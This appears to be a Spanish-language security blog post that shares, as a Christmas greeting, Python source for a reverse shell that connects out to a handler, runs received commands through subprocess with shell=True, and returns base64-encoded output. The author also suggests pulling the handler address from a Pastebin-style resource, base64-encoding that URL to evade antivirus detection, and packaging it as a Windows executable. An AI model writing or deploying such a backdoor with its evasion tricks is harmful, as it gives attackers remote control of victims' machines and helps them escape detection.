banner

Feliz Navidad with Custom Python Reverse Shell


Este año es mi quinta (5) Navidad con vosotros, parece que fuera ayer (25/Dic 2011) cuando celebré la primera Navidad con todos vosotros, el camino recorrido hasta ahora ha sido gratificante y emocionante, pero quizás lo es aún más el camino que queda por recorrer.

Como es habitual, la intensidad con la que publico artículos se encuentra supeditada a la vida misma (y a los deseos de mi pequeña xD), el pasado 2014, se me olvido felicitar la Navidad, por lo que este año me ha parecido que la mejor forma de celebrarlo con vosotros es compartiendo el código de una shell reversa escrita en python ... que puede resultar de gran utilidad durante una Auditoria / Pentesting.

Muchas Gracias a todos por seguirme y leer mis publicaciones, no vemos el año próximo. Feliz Navidad con mis mejores deseos para el año que viene.

Custom Python Reverse Shell

Code*:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def shell():

   #Base64 encoded reverse shell
   try:
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect(('127.0.0.1', int(443)))
       s.send('[*] Connection Established!')
       while 1:
             cmd = s.recv(1024)
             if cmd == "quit":
                 break
             response = run_cmd(cmd)
             if response:
                 encoded = base64.b64encode(response)
             else:
                 response = 'Running: {}'.format(cmd)
             encoded = base64.b64encode(response)
             s.send(encoded)
    except socket.error:
       sys.exit(2)
    except WindowsError:
       pass
    finally:
       s.close()


Es un fragmento de como se puede implementar una "Shell" de conexión inversa en python de forma sencilla. Falta por supuesto como ejecutar comandos en el sistema:


1
2
3   
4
5
6
7
8
9
10
def run_cmd(data):
      proc = subprocess.Popen(data,
                                     shell=True,
                stdout=subprocess.PIPE,
                 stderr=subprocess.PIPE,
                  stdin=subprocess.PIPE)
      stdout = proc.stdout.read() + proc.stderr.read()
      return stdout


He utilizado subprocess para la ejecución de "comandos" en el sistema remoto. Estoy seguro que mas de uno esta pensando técnicas para mejorar la shell, implementar nuevos comandos, etc. Por ejemplo, la IP podría cogerla de un registro DNS, o de un recurso WEB publico, para evitar hardcodear (incrustar) la IP dentro del código fuente. Se recomienda, hardcodear en base64 la URL del recurso WEB para determinar la IP del "handler" y tratar de evitar la detección como malware por los antivirus (Alguien se anima a mejorar la Shell implementando la obtención de la IP desde un recurso web publico como pastenBIN?)

Compatible tanto en Windows como en Linux, se puede crear un ejecutable para Windows utilizando pyexe o pyinstaller.

Es un "shell" muy simple pero efectiva. Os invito a probarla y comentar las limitaciones que tiene la Shell y como se podrían solventar!

Por supuesto, os dejo como trabajo para casa, la creación del "cliente" que se conecta y maneja la conexión inversa con la shell .. xD

#ST2 #ST2Labs os desea:
¡¡¡FeliZ Navidad!!! - Merry Christmas - Joyeux Noël - Frohe Weihnachten - С Рождеством - 圣诞节快乐 - Buon Natale - God Jul -Feliz Natal ...

@rhodius | @seguridadxato2 | @st2labs

[*] Basada en el código de primalsecurity

No hay comentarios :

Publicar un comentario